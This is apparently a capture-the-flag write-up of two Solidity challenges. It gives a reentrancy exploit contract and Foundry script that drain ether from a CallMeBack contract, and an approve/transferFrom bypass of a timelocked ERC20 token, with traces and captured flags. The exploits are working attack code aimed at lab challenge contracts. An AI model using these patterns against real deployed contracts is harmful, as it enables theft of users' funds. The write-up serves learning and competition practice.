I recently participated in QnsecCTF with my team, HackerTroupe. As usual, I solved the smart contract challenges.
Challenge 1:
Description: They provided two contracts:
Challenge.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
import "src/CallMeBack.sol";
contract Challenge {
address public immutable PLAYER;
CallMeBack public immutable CONTRACT;
bool private solved;
constructor(address player, address _contract) public {
PLAYER = player;
CONTRACT = CallMeBack(payable(_contract));
}
function solve() external {
require(address(PLAYER).balance > 10 ether, "NOT_ENOUGH_ETHER");
solved = true;
}
function isSolved() external view returns (bool) {
return solved;
}
}
CallmeBack.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract CallMeBack {
mapping(address => uint256) public balances;
function donate() public payable {
balances[msg.sender] += msg.value;
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool success,) = msg.sender.call{value: _amount}("");
require(success, "ETH transfer failed");
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
Also, they provided nc 161.97.155.116 6969 port which is used to get a private blockchain to solve the challenge.
Analysis: This is a classic reentrancy attack because of checks-effects-interaction violation. If you call outside contracts, first update the value then call the function, otherwise it causes reentrancy!
Steps to solve:
- Connect to the port and deploy the blockchain:
nithin@ScateR:~/SCATERLABs/CTFs/Block1/bloc$ nc 161.97.155.116 6969
# Press 1
██████╗ ███╗ ██╗ ██████╗ ███████╗███████╗ ██████╗ ██████╗████████╗███████╗
██╔═══██╗████╗ ██║██╔═══██╗██╔════╝██╔════╝██╔════╝ ██╔════╝╚══██╔══╝██╔════╝
██║ ██║██╔██╗ ██║██║ ██║███████╗█████╗ ██║ ██║ ██║ █████╗
██║▄▄ ██║██║╚██╗██║██║▄▄ ██║╚════██║██╔══╝ ██║ ██║ ██║ ██╔══╝
╚██████╔╝██║ ╚████║╚██████╔╝███████║███████╗╚██████╗ ╚██████╗ ██║ ██║
╚══▀▀═╝ ╚═╝ ╚═══╝ ╚══▀▀═╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[callmeback] A random degen has appeared!
[callmeback] 1 - Launch a new instance
[callmeback] 2 - Kill your instance
[callmeback] 3 - Get the flag
[callmeback] Action? 1
[callmeback] Your ticket: aa40f1a9f367bc64268139a2614ada39
[callmeback] Creating private blockchain...
[callmeback] Deploying challenge.. (please be patient, this can take a while)
[callmeback] Your private blockchain has been set up,
[callmeback] it will automatically terminate in 15.0 minutes!
[callmeback] RPC Endpoints:
[callmeback] - http://161.97.155.116:8545/PAmGnlZJFDONDrNiVINEVbpM/main
[callmeback] - ws://161.97.155.116:8545/PAmGnlZJFDONDrNiVINEVbpM/main/ws
[callmeback] The Player private key: 0x665a52bbf260dfab3abdef5d5f4a0892b2d5eddc3d9bd56470b831e25b40d8a0
[callmeback] The Challenge contract address: 0x74FC4c02856dc6aCB5bAceA849E261de8be1e58A
- Get the CallMeBack contract address. It is stored onchain, you can get it by using foundry commands:
nithin@ScateR:~/SCATERLABs/CTFs/Block1/bloc$ source .env
# Get CallMeBack address
CALLMEBACK=$(cast call $CHALLENGE "CONTRACT()(address)" --rpc-url $RPC_URL)
echo "CallMeBack: $CALLMEBACK"
# Add to .env
echo "export CALLMEBACK=\"$CALLMEBACK\"" >> .env
source .env
Output:
CallMeBack: 0xb3CEA24519bcF7da2859A864a624428D1dCF7af2
Then you can see the .env file:
export RPC_URL="http://161.97.155.116:8545/PAmGnlZJFDONDrNiVINEVbpM/main"
export PRIVATE_KEY="0x665a52bbf260dfab3abdef5d5f4a0892b2d5eddc3d9bd56470b831e25b40d8a0"
export CHALLENGE="0x74FC4c02856dc6aCB5bAceA849E261de8be1e58A"
export CALLMEBACK="0xb3CEA24519bcF7da2859A864a624428D1dCF7af2"
After that, check the CallMeBack balance, then go for the exploit:
# Check CallMeBack balance
cast balance $CALLMEBACK --rpc-url $RPC_URL --ether
# Check Player address
PLAYER=$(cast wallet address --private-key $PRIVATE_KEY)
echo "Player: $PLAYER"
# Check Player balance
cast balance $PLAYER --rpc-url $RPC_URL --ether
Output:
1.000000000000000000
Player: 0xd201156e618Bcd1874dCFb01Eebe652b05C87252
10.000000000000000000
- Now write
src/Exploit.solto exploit the CallMeBack contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface ICallMeBack {
function donate() external payable;
function withdraw(uint256 _amount) external;
function balanceOf(address _who) external view returns (uint256);
}
contract Exploit {
ICallMeBack public target;
uint256 public amount;
constructor(address _target) public {
target = ICallMeBack(_target);
}
function attack() external payable {
require(msg.value >= 1 ether, "Need at least 1 ETH");
amount = msg.value;
target.donate{value: amount}();
target.withdraw(amount);
}
receive() external payable {
if (address(target).balance >= amount) {
target.withdraw(amount);
}
}
function withdraw() external {
msg.sender.transfer(address(this).balance);
}
}
- This is the script contract (
script/Solve.s.sol) to attack the CallMeBack.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "forge-std/Script.sol";
import "../src/Exploit.sol";
contract SolveScript is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address callMeBack = vm.envAddress("CALLMEBACK");
address challenge = vm.envAddress("CHALLENGE");
vm.startBroadcast(deployerPrivateKey);
// Deploy exploit
Exploit exploit = new Exploit(callMeBack);
console.log("Exploit deployed at:", address(exploit));
// Attack with 1 ETH
exploit.attack{value: 1 ether}();
console.log("Attack executed");
// Withdraw stolen funds
exploit.withdraw();
console.log("Funds withdrawn to player");
// Call solve
(bool success,) = challenge.call(abi.encodeWithSignature("solve()"));
require(success, "Solve failed");
console.log("Challenge solved!");
vm.stopBroadcast();
}
}
- Now run this command to understand how the attack works:
forge script script/Solve.s.sol:SolveScript \ --rpc-url $RPC_URL \ --broadcast \ --legacy \ -vvvv - Result:
nithin@ScateR:~/SCATERLABs/CTFs/Block1/bloc$ forge script script/Solve.s.sol:SolveScript \
--rpc-url $RPC_URL \
--broadcast \
--legacy \
-vvvv
[⠆] Compiling...
No files changed, compilation skipped
Traces:
[397516] SolveScript::run()
├─ [0] VM::envUint("PRIVATE_KEY") [staticcall]
│ └─ ← [Return] <env var value>
├─ [0] VM::envAddress("CALLMEBACK") [staticcall]
│ └─ ← [Return] <env var value>
├─ [0] VM::envAddress("CHALLENGE") [staticcall]
│ └─ ← [Return] <env var value>
├─ [0] VM::startBroadcast(<pk>)
│ └─ ← [Return]
├─ [222929] → new Exploit@0xD9f928f593C059A6849731E5e86443aEeBaA1375
│ └─ ← [Return] 1002 bytes of code
├─ [0] console::log("Exploit deployed at:", Exploit: [0xD9f928f593C059A6849731E5e86443aEeBaA1375]) [staticcall]
│ └─ ← [Stop]
├─ [91752] Exploit::attack{value: 1000000000000000000}()
│ ├─ [22385] 0xb3CEA24519bcF7da2859A864a624428D1dCF7af2::donate{value: 1000000000000000000}()
│ │ └─ ← [Stop]
│ ├─ [36735] 0xb3CEA24519bcF7da2859A864a624428D1dCF7af2::withdraw(1000000000000000000 [1e18])
│ │ ├─ [9136] Exploit::receive{value: 1000000000000000000}()
│ │ │ ├─ [8116] 0xb3CEA24519bcF7da2859A864a624428D1dCF7af2::withdraw(1000000000000000000 [1e18])
│ │ │ │ ├─ [417] Exploit::receive{value: 1000000000000000000}()
│ │ │ │ │ └─ ← [Stop]
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] console::log("Attack executed") [staticcall]
│ └─ ← [Stop]
├─ [7027] Exploit::withdraw()
│ ├─ [0] 0xd201156e618Bcd1874dCFb01Eebe652b05C87252::fallback{value: 2000000000000000000}()
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] console::log("Funds withdrawn to player") [staticcall]
│ └─ ← [Stop]
├─ [22462] 0x74FC4c02856dc6aCB5bAceA849E261de8be1e58A::solve()
│ └─ ← [Stop]
├─ [0] console::log("Challenge solved!") [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopBroadcast()
│ └─ ← [Return]
└─ ← [Stop]
Script ran successfully.
== Logs ==
Exploit deployed at: 0xD9f928f593C059A6849731E5e86443aEeBaA1375
Attack executed
Funds withdrawn to player
Challenge solved!
## Setting up 1 EVM.
==========================
Simulated On-chain Traces:
[222929] → new Exploit@0xD9f928f593C059A6849731E5e86443aEeBaA1375
└─ ← [Return] 1002 bytes of code
[93752] Exploit::attack{value: 1000000000000000000}()
├─ [22385] 0xb3CEA24519bcF7da2859A864a624428D1dCF7af2::donate{value: 1000000000000000000}()
│ └─ ← [Stop]
├─ [36735] 0xb3CEA24519bcF7da2859A864a624428D1dCF7af2::withdraw(1000000000000000000 [1e18])
│ ├─ [9136] Exploit::receive{value: 1000000000000000000}()
│ │ ├─ [8116] 0xb3CEA24519bcF7da2859A864a624428D1dCF7af2::withdraw(1000000000000000000 [1e18])
│ │ │ ├─ [417] Exploit::receive{value: 1000000000000000000}()
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ └─ ← [Stop]
└─ ← [Stop]
[7027] Exploit::withdraw()
├─ [0] 0xd201156e618Bcd1874dCFb01Eebe652b05C87252::fallback{value: 2000000000000000000}()
│ └─ ← [Stop]
└─ ← [Stop]
[22462] 0x74FC4c02856dc6aCB5bAceA849E261de8be1e58A::solve()
└─ ← [Stop]
==========================
Chain 31337
Estimated gas price: 1.673006184 gwei
Estimated total gas used for script: 614085
Estimated amount required: 0.00102736800250164 ETH
==========================
##### anvil-hardhat
✅ [Success] Hash: 0xc7198436788802fdc90d36591ff72bb08ce2ae40009a419334dbe6e52646bb61
Block: 5
Paid: 0.000046996416714744 ETH (28091 gas * 1.673006184 gwei)
##### anvil-hardhat
✅ [Success] Hash: 0x887a15a5c7969d0899f1b0b33e78519d3b7f55abd82a179264c64f2031261fa2
Contract Address: 0xD9f928f593C059A6849731E5e86443aEeBaA1375
Block: 4
Paid: 0.000491326783110936 ETH (293679 gas * 1.673006184 gwei)
##### anvil-hardhat
✅ [Success] Hash: 0x5d0f61180b0d89298b0d070495c32d48ac94b01c1f4f56bcf14307199eb22f18
Block: 5
Paid: 0.000158795054960544 ETH (94916 gas * 1.673006184 gwei)
##### anvil-hardhat
✅ [Success] Hash: 0xe0b77ffe40b48c3dd8d5f4cf7c5d604ce09391a34a523e021dc569e01969234b
Block: 6
Paid: 0.000072819267164784 ETH (43526 gas * 1.673006184 gwei)
✅ Sequence #1 on anvil-hardhat | Total Paid: 0.000769937521951008 ETH (460212 gas * avg 1.673006184 gwei)
==========================
ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Transactions saved to: /home/nithin/SCATERLABs/CTFs/Block1/bloc/broadcast/Solve.s.sol/31337/run-latest.json
Sensitive values saved to: /home/nithin/SCATERLABs/CTFs/Block1/bloc/cache/Solve.s.sol/31337/run-latest.json
nithin@ScateR:~/SCATERLABs/CTFs/Block1/bloc$ # Check if solved
cast call $CHALLENGE "isSolved()(bool)" --rpc-url $RPC_URL
# Should return: true
true
### Challenge successfully completed!
- To get Flag:
nithin@ScateR:~/SCATERLABs/CTFs/Block1/bloc$ nc 161.97.155.116 6969
██████╗ ███╗ ██╗ ██████╗ ███████╗███████╗ ██████╗ ██████╗████████╗███████╗
██╔═══██╗████╗ ██║██╔═══██╗██╔════╝██╔════╝██╔════╝ ██╔════╝╚══██╔══╝██╔════╝
██║ ██║██╔██╗ ██║██║ ██║███████╗█████╗ ██║ ██║ ██║ █████╗
██║▄▄ ██║██║╚██╗██║██║▄▄ ██║╚════██║██╔══╝ ██║ ██║ ██║ ██╔══╝
╚██████╔╝██║ ╚████║╚██████╔╝███████║███████╗╚██████╗ ╚██████╗ ██║ ██║
╚══▀▀═╝ ╚═╝ ╚═══╝ ╚══▀▀═╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[callmeback] You dare challenge me?
[callmeback] 1 - Launch a new instance
[callmeback] 2 - Kill your instance
[callmeback] 3 - Get the flag
[callmeback] Action? 3
[callmeback] What is your ticket? aa40f1a9f367bc64268139a2614ada39
[callmeback] Congratulations! Here is your flag: QnQSec{r33ntr4nt_c4llb4ck_1s_fun_4nd_3asy_t0_3xpl01t}
Challenge 2:
Description: This is a very simple challenge. It’s a basic ERC20 mechanism to exploit the contract. They provided two contracts: Challenge.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "src/Timelock.sol";
contract Challenge {
address public immutable PLAYER;
Timelock public immutable CONTRACT;
bool private solved;
constructor(address player, address _contract) public {
PLAYER = player;
CONTRACT = Timelock(payable(_contract));
}
function solve() external {
require(CONTRACT.balanceOf(PLAYER) == 0, "COINS_NOT_SPENT");
solved = true;
}
function isSolved() external view returns (bool) {
return solved;
}
}
TimeLock.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Timelock is ERC20 {
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
}
}
}
Analysis:
After understanding these two contracts, this is a very basic challenge to exploit. In ERC20, you can actually transfer tokens using the transferFrom function. Before this, you just approve tokens. If you approve them, you can get the tokens anytime. But here, you can only get the tokens after a certain time period passes. This is the core fault—you can bypass it using transferFrom and approve in ERC20 tokens.
Steps to solve:
- Use nc 161.97.155.116 6970 to get the private blockchain:
nithin@ScateR:~/SCATERLABs/CTFs/Block1/bloc2$ nc 161.97.155.116 6970
# Press 1
██████╗ ███╗ ██╗ ██████╗ ███████╗███████╗ ██████╗ ██████╗████████╗███████╗
██╔═══██╗████╗ ██║██╔═══██╗██╔════╝██╔════╝██╔════╝ ██╔════╝╚══██╔══╝██╔════╝
██║ ██║██╔██╗ ██║██║ ██║███████╗█████╗ ██║ ██║ ██║ █████╗
██║▄▄ ██║██║╚██╗██║██║▄▄ ██║╚════██║██╔══╝ ██║ ██║ ██║ ██╔══╝
╚██████╔╝██║ ╚████║╚██████╔╝███████║███████╗╚██████╗ ╚██████╗ ██║ ██║
╚══▀▀═╝ ╚═╝ ╚═══╝ ╚══▀▀═╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[timelock] Welcome anon!
[timelock] 1 - Launch a new instance
[timelock] 2 - Kill your instance
[timelock] 3 - Get the flag
[timelock] Action? 1
[timelock] Your ticket: 5e1412cd7083b4b49f31098c9b322b16
[timelock] Creating private blockchain...
[timelock] Deploying challenge.. (please be patient, this can take a while)
[timelock] Your private blockchain has been set up,
[timelock] it will automatically terminate in 15.0 minutes!
[timelock] RPC Endpoints:
[timelock] - http://161.97.155.116:8545/hMieWJmMSlzbOlCgXEyCBLmw/main
[timelock] - ws://161.97.155.116:8545/hMieWJmMSlzbOlCgXEyCBLmw/main/ws
[timelock] The Player private key: 0xaabd6bc6c80b62c8e486de2285d9f7a9d59995694a73ed98481e51f0e0016414
[timelock] The Challenge contract address: 0xf00F7a89E5da858edB45744e4464E468897c1e1e
- After that, find the Timelock contract address which is stored onchain. You can get the address by using foundry cast command:
nithin@ScateR:~/SCATERLABs/CTFs/Block1/bloc2$ cd ~/SCATERLABs/CTFs/Block1/bloc2
source .env
TIMELOCK=$(cast call $CHALLENGE "CONTRACT()(address)" --rpc-url $RPC_URL)
echo "export TIMELOCK=\"$TIMELOCK\"" >> .env
source .env
After that, the .env file looks like:
export RPC_URL="http://161.97.155.116:8545/hMieWJmMSlzbOlCgXEyCBLmw/main"
export PRIVATE_KEY="0xaabd6bc6c80b62c8e486de2285d9f7a9d59995694a73ed98481e51f0e0016414"
export CHALLENGE="0xf00F7a89E5da858edB45744e4464E468897c1e1e"
export TIMELOCK="0x7dB30A7050776E09A9a360865Acca1A4Df55b4b6"
- Now write the script file directly to exploit this:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "../src/Timelock.sol";
import "../src/Challenge.sol";
contract SolveScript is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address timelock = vm.envAddress("TIMELOCK");
address challenge = vm.envAddress("CHALLENGE");
vm.startBroadcast(deployerPrivateKey);
Timelock token = Timelock(timelock);
address player = vm.addr(deployerPrivateKey);
uint256 balance = token.balanceOf(player);
console.log("Player balance:", balance);
// Step 1: Approve ourselves to spend our own tokens
token.approve(player, balance);
console.log("Approved:", balance);
// Step 2: Use transferFrom to bypass the timelock
// Transfer to any address (we'll use address(1) as burn)
token.transferFrom(player, address(0x1), balance);
console.log("Transferred via transferFrom!");
// Step 3: Verify balance is 0
uint256 newBalance = token.balanceOf(player);
console.log("New balance:", newBalance);
// Step 4: Call solve
Challenge(challenge).solve();
console.log("Challenge solved!");
vm.stopBroadcast();
}
}
- Run the command:
nithin@ScateR:~/SCATERLABs/CTFs/Block1/bloc2$ forge script script/Solve.s.sol:SolveScript --rpc-url $RPC_URL --broadcast --legacy -vvvv
- Result Logs:
nithin@ScateR:~/SCATERLABs/CTFs/Block1/bloc2$ source .env
nithin@ScateR:~/SCATERLABs/CTFs/Block1/bloc2$ forge script script/Solve.s.sol:SolveScript --rpc-url $RPC_URL --broadcast --legacy -vvvv
[⠒] Compiling...
No files changed, compilation skipped
Traces:
[104448] SolveScript::run()
├─ [0] VM::envUint("PRIVATE_KEY") [staticcall]
│ └─ ← [Return] <env var value>
├─ [0] VM::envAddress("TIMELOCK") [staticcall]
│ └─ ← [Return] <env var value>
├─ [0] VM::envAddress("CHALLENGE") [staticcall]
│ └─ ← [Return] <env var value>
├─ [0] VM::startBroadcast(<pk>)
│ └─ ← [Return]
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] 0xc3c7408C6926E23fB1A46b58AE315eC4710F8732
├─ [2850] 0x7dB30A7050776E09A9a360865Acca1A4Df55b4b6::balanceOf(0xc3c7408C6926E23fB1A46b58AE315eC4710F8732) [staticcall]
│ └─ ← [Return] 1000000000000000000000000 [1e24]
├─ [0] console::log("Player balance:", 1000000000000000000000000 [1e24]) [staticcall]
│ └─ ← [Stop]
├─ [25296] 0x7dB30A7050776E09A9a360865Acca1A4Df55b4b6::approve(0xc3c7408C6926E23fB1A46b58AE315eC4710F8732, 1000000000000000000000000 [1e24])
│ ├─ emit Approval(owner: 0xc3c7408C6926E23fB1A46b58AE315eC4710F8732, spender: 0xc3c7408C6926E23fB1A46b58AE315eC4710F8732, value: 1000000000000000000000000 [1e24])
│ └─ ← [Return] true
├─ [0] console::log("Approved:", 1000000000000000000000000 [1e24]) [staticcall]
│ └─ ← [Stop]
├─ [29614] 0x7dB30A7050776E09A9a360865Acca1A4Df55b4b6::transferFrom(0xc3c7408C6926E23fB1A46b58AE315eC4710F8732, ECRecover: [0x0000000000000000000000000000000000000001], 1000000000000000000000000 [1e24])
│ ├─ emit Transfer(from: 0xc3c7408C6926E23fB1A46b58AE315eC4710F8732, to: ECRecover: [0x0000000000000000000000000000000000000001], value: 1000000000000000000000000 [1e24])
│ └─ ← [Return] true
├─ [0] console::log("Transferred via transferFrom!") [staticcall]
│ └─ ← [Stop]
├─ [850] 0x7dB30A7050776E09A9a360865Acca1A4Df55b4b6::balanceOf(0xc3c7408C6926E23fB1A46b58AE315eC4710F8732) [staticcall]
│ └─ ← [Return] 0
├─ [0] console::log("New balance:", 0) [staticcall]
│ └─ ← [Stop]
├─ [23895] 0xf00F7a89E5da858edB45744e4464E468897c1e1e::solve()
│ ├─ [850] 0x7dB30A7050776E09A9a360865Acca1A4Df55b4b6::balanceOf(0xc3c7408C6926E23fB1A46b58AE315eC4710F8732) [staticcall]
│ │ └─ ← [Return] 0
│ └─ ← [Stop]
├─ [0] console::log("Challenge solved!") [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopBroadcast()
│ └─ ← [Return]
└─ ← [Stop]
Script ran successfully.
== Logs ==
Player balance: 1000000000000000000000000
Approved: 1000000000000000000000000
Transferred via transferFrom!
New balance: 0
Challenge solved!
## Setting up 1 EVM.
==========================
Simulated On-chain Traces:
[25296] 0x7dB30A7050776E09A9a360865Acca1A4Df55b4b6::approve(0xc3c7408C6926E23fB1A46b58AE315eC4710F8732, 1000000000000000000000000 [1e24])
├─ emit Approval(owner: 0xc3c7408C6926E23fB1A46b58AE315eC4710F8732, spender: 0xc3c7408C6926E23fB1A46b58AE315eC4710F8732, value: 1000000000000000000000000 [1e24])
└─ ← [Return] true
[36414] 0x7dB30A7050776E09A9a360865Acca1A4Df55b4b6::transferFrom(0xc3c7408C6926E23fB1A46b58AE315eC4710F8732, ECRecover: [0x0000000000000000000000000000000000000001], 1000000000000000000000000 [1e24])
├─ emit Transfer(from: 0xc3c7408C6926E23fB1A46b58AE315eC4710F8732, to: ECRecover: [0x0000000000000000000000000000000000000001], value: 1000000000000000000000000 [1e24])
└─ ← [Return] true
[28395] 0xf00F7a89E5da858edB45744e4464E468897c1e1e::solve()
├─ [2850] 0x7dB30A7050776E09A9a360865Acca1A4Df55b4b6::balanceOf(0xc3c7408C6926E23fB1A46b58AE315eC4710F8732) [staticcall]
│ └─ ← [Return] 0
└─ ← [Stop]
==========================
Chain 31337
Estimated gas price: 1.7756804 gwei
Estimated total gas used for script: 204292
Estimated amount required: 0.0003627573002768 ETH
==========================
##### anvil-hardhat
✅ [Success] Hash: 0x29230c2b2ecaa6c50f10dd9cf7bf011041a3ef6dd6e07709efecabab33aa96bd
Block: 3
Paid: 0.000083350437976 ETH (46940 gas * 1.7756804 gwei)
##### anvil-hardhat
✅ [Success] Hash: 0x732a8a01c8f4eeb5ecba94790f10049b4fbc4dacf0e7e4f081281101f35a2697
Block: 4
Paid: 0.0000878233769036 ETH (49459 gas * 1.7756804 gwei)
##### anvil-hardhat
✅ [Success] Hash: 0x3a344d2618f955b3c12bb1e4796bb5deaaf42168e119faaeecaacdf59bdc503d
Block: 4
Paid: 0.0000862945160792 ETH (48598 gas * 1.7756804 gwei)
✅ Sequence #1 on anvil-hardhat | Total Paid: 0.0002574683309588 ETH (144997 gas * avg 1.7756804 gwei)
==========================
ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Transactions saved to: /home/nithin/SCATERLABs/CTFs/Block1/bloc2/broadcast/Solve.s.sol/31337/run-latest.json
Sensitive values saved to: /home/nithin/SCATERLABs/CTFs/Block1/bloc2/cache/Solve.s.sol/31337/run-latest.json
nithin@ScateR:~/SCATERLABs/CTFs/Block1/bloc2$ forge script script/Solve.s.sol:SolveScript --rpc-url $RPC_URL --broadcast --legacy -vvvv
[⠊] Compiling...
No files changed, compilation skipped
^C
nithin@ScateR:~/SCATERLABs/CTFs/Block1/bloc2$ cast call $CHALLENGE "isSolved()(bool)" --rpc-url $RPC_URL
true ## true means the challenge is solved!
- To get Flag:
nithin@ScateR:~/SCATERLABs/CTFs/Block1/bloc2$ nc 161.97.155.116 6970
██████╗ ███╗ ██╗ ██████╗ ███████╗███████╗ ██████╗ ██████╗████████╗███████╗
██╔═══██╗████╗ ██║██╔═══██╗██╔════╝██╔════╝██╔════╝ ██╔════╝╚══██╔══╝██╔════╝
██║ ██║██╔██╗ ██║██║ ██║███████╗█████╗ ██║ ██║ ██║ █████╗
██║▄▄ ██║██║╚██╗██║██║▄▄ ██║╚════██║██╔══╝ ██║ ██║ ██║ ██╔══╝
╚██████╔╝██║ ╚████║╚██████╔╝███████║███████╗╚██████╗ ╚██████╗ ██║ ██║
╚══▀▀═╝ ╚═╝ ╚═══╝ ╚══▀▀═╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[timelock] Welcome anon!
[timelock] 1 - Launch a new instance
[timelock] 2 - Kill your instance
[timelock] 3 - Get the flag
[timelock] Action? 3
[timelock] What is your ticket? 5e1412cd7083b4b49f31098c9b322b16
[timelock] Nicely done! Now don't lose it: QnQSec{gr3at_j0b_y0u_l3arn7_4b0u7_3rc20_t0k3n5}